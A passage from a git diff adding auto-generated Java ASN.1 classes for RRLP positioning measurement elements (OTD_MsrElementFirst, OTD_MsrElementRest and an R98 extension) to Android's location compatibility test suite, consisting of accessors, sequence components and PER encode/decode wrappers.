+ private TOA_MeasurementsOfRef toaMeasurementsOfRef_;
+ public TOA_MeasurementsOfRef getToaMeasurementsOfRef() {
+ return toaMeasurementsOfRef_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TOA_MeasurementsOfRef
+ */
+ public void setToaMeasurementsOfRef(Asn1Object value) {
+ this.toaMeasurementsOfRef_ = (TOA_MeasurementsOfRef) value;
+ }
+ public TOA_MeasurementsOfRef setToaMeasurementsOfRefToNewInstance() {
+ toaMeasurementsOfRef_ = new TOA_MeasurementsOfRef();
+ return toaMeasurementsOfRef_;
+ }
+
+ private StdResolution stdResolution_;
+ public StdResolution getStdResolution() {
+ return stdResolution_;
+ }
+ /**
+ * @throws ClassCastException if value is not a StdResolution
+ */
+ public void setStdResolution(Asn1Object value) {
+ this.stdResolution_ = (StdResolution) value;
+ }
+ public StdResolution setStdResolutionToNewInstance() {
+ stdResolution_ = new StdResolution();
+ return stdResolution_;
+ }
+
+ private OTD_MsrElementFirst.taCorrectionType taCorrection_;
+ public OTD_MsrElementFirst.taCorrectionType getTaCorrection() {
+ return taCorrection_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTD_MsrElementFirst.taCorrectionType
+ */
+ public void setTaCorrection(Asn1Object value) {
+ this.taCorrection_ = (OTD_MsrElementFirst.taCorrectionType) value;
+ }
+ public OTD_MsrElementFirst.taCorrectionType setTaCorrectionToNewInstance() {
+ taCorrection_ = new OTD_MsrElementFirst.taCorrectionType();
+ return taCorrection_;
+ }
+
+ private SeqOfOTD_FirstSetMsrs otd_FirstSetMsrs_;
+ public SeqOfOTD_FirstSetMsrs getOtd_FirstSetMsrs() {
+ return otd_FirstSetMsrs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfOTD_FirstSetMsrs
+ */
+ public void setOtd_FirstSetMsrs(Asn1Object value) {
+ this.otd_FirstSetMsrs_ = (SeqOfOTD_FirstSetMsrs) value;
+ }
+ public SeqOfOTD_FirstSetMsrs setOtd_FirstSetMsrsToNewInstance() {
+ otd_FirstSetMsrs_ = new SeqOfOTD_FirstSetMsrs();
+ return otd_FirstSetMsrs_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefFrameNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefFrameNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefFrameNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_MsrElementFirst.refFrameNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refFrameNumber : "
+ + getRefFrameNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceTimeSlot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceTimeSlot();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceTimeSlotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ModuloTimeSlot.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceTimeSlot : "
+ + getReferenceTimeSlot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getToaMeasurementsOfRef() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getToaMeasurementsOfRef();
+ }
+
+ @Override public void setToNewInstance() {
+ setToaMeasurementsOfRefToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TOA_MeasurementsOfRef.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "toaMeasurementsOfRef : "
+ + getToaMeasurementsOfRef().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getStdResolution() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStdResolution();
+ }
+
+ @Override public void setToNewInstance() {
+ setStdResolutionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? StdResolution.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stdResolution : "
+ + getStdResolution().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getTaCorrection() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTaCorrection();
+ }
+
+ @Override public void setToNewInstance() {
+ setTaCorrectionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_MsrElementFirst.taCorrectionType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "taCorrection : "
+ + getTaCorrection().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtd_FirstSetMsrs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtd_FirstSetMsrs();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtd_FirstSetMsrsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfOTD_FirstSetMsrs.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otd_FirstSetMsrs : "
+ + getOtd_FirstSetMsrs().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refFrameNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refFrameNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refFrameNumberType() {
+ super();
+ setValueRange("0", "42431");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refFrameNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refFrameNumberType != null) {
+ return ImmutableList.of(TAG_refFrameNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refFrameNumberType from encoded stream.
+ */
+ public static refFrameNumberType fromPerUnaligned(byte[] encodedBytes) {
+ refFrameNumberType result = new refFrameNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refFrameNumberType from encoded stream.
+ */
+ public static refFrameNumberType fromPerAligned(byte[] encodedBytes) {
+ refFrameNumberType result = new refFrameNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refFrameNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class taCorrectionType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_taCorrectionType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public taCorrectionType() {
+ super();
+ setValueRange("0", "960");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_taCorrectionType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_taCorrectionType != null) {
+ return ImmutableList.of(TAG_taCorrectionType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new taCorrectionType from encoded stream.
+ */
+ public static taCorrectionType fromPerUnaligned(byte[] encodedBytes) {
+ taCorrectionType result = new taCorrectionType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new taCorrectionType from encoded stream.
+ */
+ public static taCorrectionType fromPerAligned(byte[] encodedBytes) {
+ taCorrectionType result = new taCorrectionType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "taCorrectionType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("OTD_MsrElementFirst = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java
new file mode 100755
index 0000000..39ee09e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class OTD_MsrElementFirst_R98_Ext extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_OTD_MsrElementFirst_R98_Ext
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public OTD_MsrElementFirst_R98_Ext() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTD_MsrElementFirst_R98_Ext;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTD_MsrElementFirst_R98_Ext != null) {
+ return ImmutableList.of(TAG_OTD_MsrElementFirst_R98_Ext);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new OTD_MsrElementFirst_R98_Ext from encoded stream.
+ */
+ public static OTD_MsrElementFirst_R98_Ext fromPerUnaligned(byte[] encodedBytes) {
+ OTD_MsrElementFirst_R98_Ext result = new OTD_MsrElementFirst_R98_Ext();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new OTD_MsrElementFirst_R98_Ext from encoded stream.
+ */
+ public static OTD_MsrElementFirst_R98_Ext fromPerAligned(byte[] encodedBytes) {
+ OTD_MsrElementFirst_R98_Ext result = new OTD_MsrElementFirst_R98_Ext();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SeqOfOTD_FirstSetMsrs_R98_Ext otd_FirstSetMsrs_R98_Ext_;
+ public SeqOfOTD_FirstSetMsrs_R98_Ext getOtd_FirstSetMsrs_R98_Ext() {
+ return otd_FirstSetMsrs_R98_Ext_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfOTD_FirstSetMsrs_R98_Ext
+ */
+ public void setOtd_FirstSetMsrs_R98_Ext(Asn1Object value) {
+ this.otd_FirstSetMsrs_R98_Ext_ = (SeqOfOTD_FirstSetMsrs_R98_Ext) value;
+ }
+ public SeqOfOTD_FirstSetMsrs_R98_Ext setOtd_FirstSetMsrs_R98_ExtToNewInstance() {
+ otd_FirstSetMsrs_R98_Ext_ = new SeqOfOTD_FirstSetMsrs_R98_Ext();
+ return otd_FirstSetMsrs_R98_Ext_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtd_FirstSetMsrs_R98_Ext() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtd_FirstSetMsrs_R98_Ext();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtd_FirstSetMsrs_R98_ExtToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfOTD_FirstSetMsrs_R98_Ext.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otd_FirstSetMsrs_R98_Ext : "
+ + getOtd_FirstSetMsrs_R98_Ext().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("OTD_MsrElementFirst_R98_Ext = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementRest.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementRest.java
new file mode 100755
index 0000000..2a5d2f9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementRest.java
@@ -0,0 +1,687 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class OTD_MsrElementRest extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_OTD_MsrElementRest
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public OTD_MsrElementRest() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTD_MsrElementRest;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTD_MsrElementRest != null) {
+ return ImmutableList.of(TAG_OTD_MsrElementRest);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new OTD_MsrElementRest from encoded stream.
+ */
+ public static OTD_MsrElementRest fromPerUnaligned(byte[] encodedBytes) {
+ OTD_MsrElementRest result = new OTD_MsrElementRest();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new OTD_MsrElementRest from encoded stream.
+ */
+ public static OTD_MsrElementRest fromPerAligned(byte[] encodedBytes) {
+ OTD_MsrElementRest result = new OTD_MsrElementRest();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private OTD_MsrElementRest.refFrameNumberType refFrameNumber_;
+ public OTD_MsrElementRest.refFrameNumberType getRefFrameNumber() {
+ return refFrameNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTD_MsrElementRest.refFrameNumberType
+ */
+ public void setRefFrameNumber(Asn1Object value) {
+ this.refFrameNumber_ = (OTD_MsrElementRest.refFrameNumberType) value;
+ }
+ public OTD_MsrElementRest.refFrameNumberType setRefFrameNumberToNewInstance() {
+ refFrameNumber_ = new OTD_MsrElementRest.refFrameNumberType();
+ return refFrameNumber_;
+ }
+
+ private ModuloTimeSlot referenceTimeSlot_;
+ public ModuloTimeSlot getReferenceTimeSlot() {
+ return referenceTimeSlot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ModuloTimeSlot
+ */
+ public void setReferenceTimeSlot(Asn1Object value) {
+ this.referenceTimeSlot_ = (ModuloTimeSlot) value;
+ }
+ public ModuloTimeSlot setReferenceTimeSlotToNewInstance() {
+ referenceTimeSlot_ = new ModuloTimeSlot();
+ return referenceTimeSlot_;
+ }
+
+ private TOA_MeasurementsOfRef toaMeasurementsOfRef_;
+ public TOA_MeasurementsOfRef getToaMeasurementsOfRef() {
+ return toaMeasurementsOfRef_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TOA_MeasurementsOfRef
+ */
+ public void setToaMeasurementsOfRef(Asn1Object value) {
+ this.toaMeasurementsOfRef_ = (TOA_MeasurementsOfRef) value;
+ }
+ public TOA_MeasurementsOfRef setToaMeasurementsOfRefToNewInstance() {
+ toaMeasurementsOfRef_ = new TOA_MeasurementsOfRef();
+ return toaMeasurementsOfRef_;
+ }
+
+ private StdResolution stdResolution_;
+ public StdResolution getStdResolution() {
+ return stdResolution_;
+ }
+ /**
+ * @throws ClassCastException if value is not a StdResolution
+ */
+ public void setStdResolution(Asn1Object value) {
+ this.stdResolution_ = (StdResolution) value;
+ }
+ public StdResolution setStdResolutionToNewInstance() {
+ stdResolution_ = new StdResolution();
+ return stdResolution_;
+ }
+
+ private OTD_MsrElementRest.taCorrectionType taCorrection_;
+ public OTD_MsrElementRest.taCorrectionType getTaCorrection() {
+ return taCorrection_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTD_MsrElementRest.taCorrectionType
+ */
+ public void setTaCorrection(Asn1Object value) {
+ this.taCorrection_ = (OTD_MsrElementRest.taCorrectionType) value;
+ }
+ public OTD_MsrElementRest.taCorrectionType setTaCorrectionToNewInstance() {
+ taCorrection_ = new OTD_MsrElementRest.taCorrectionType();
+ return taCorrection_;
+ }
+
+ private SeqOfOTD_MsrsOfOtherSets otd_MsrsOfOtherSets_;
+ public SeqOfOTD_MsrsOfOtherSets getOtd_MsrsOfOtherSets() {
+ return otd_MsrsOfOtherSets_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfOTD_MsrsOfOtherSets
+ */
+ public void setOtd_MsrsOfOtherSets(Asn1Object value) {
+ this.otd_MsrsOfOtherSets_ = (SeqOfOTD_MsrsOfOtherSets) value;
+ }
+ public SeqOfOTD_MsrsOfOtherSets setOtd_MsrsOfOtherSetsToNewInstance() {
+ otd_MsrsOfOtherSets_ = new SeqOfOTD_MsrsOfOtherSets();
+ return otd_MsrsOfOtherSets_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefFrameNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefFrameNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefFrameNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_MsrElementRest.refFrameNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refFrameNumber : "
+ + getRefFrameNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceTimeSlot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceTimeSlot();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceTimeSlotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ModuloTimeSlot.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceTimeSlot : "
+ + getReferenceTimeSlot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getToaMeasurementsOfRef() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getToaMeasurementsOfRef();
+ }
+
+ @Override public void setToNewInstance() {
+ setToaMeasurementsOfRefToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TOA_MeasurementsOfRef.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "toaMeasurementsOfRef : "
+ + getToaMeasurementsOfRef().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getStdResolution() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStdResolution();
+ }
+
+ @Override public void setToNewInstance() {
+ setStdResolutionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? StdResolution.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "stdResolution : "
+ + getStdResolution().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getTaCorrection() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
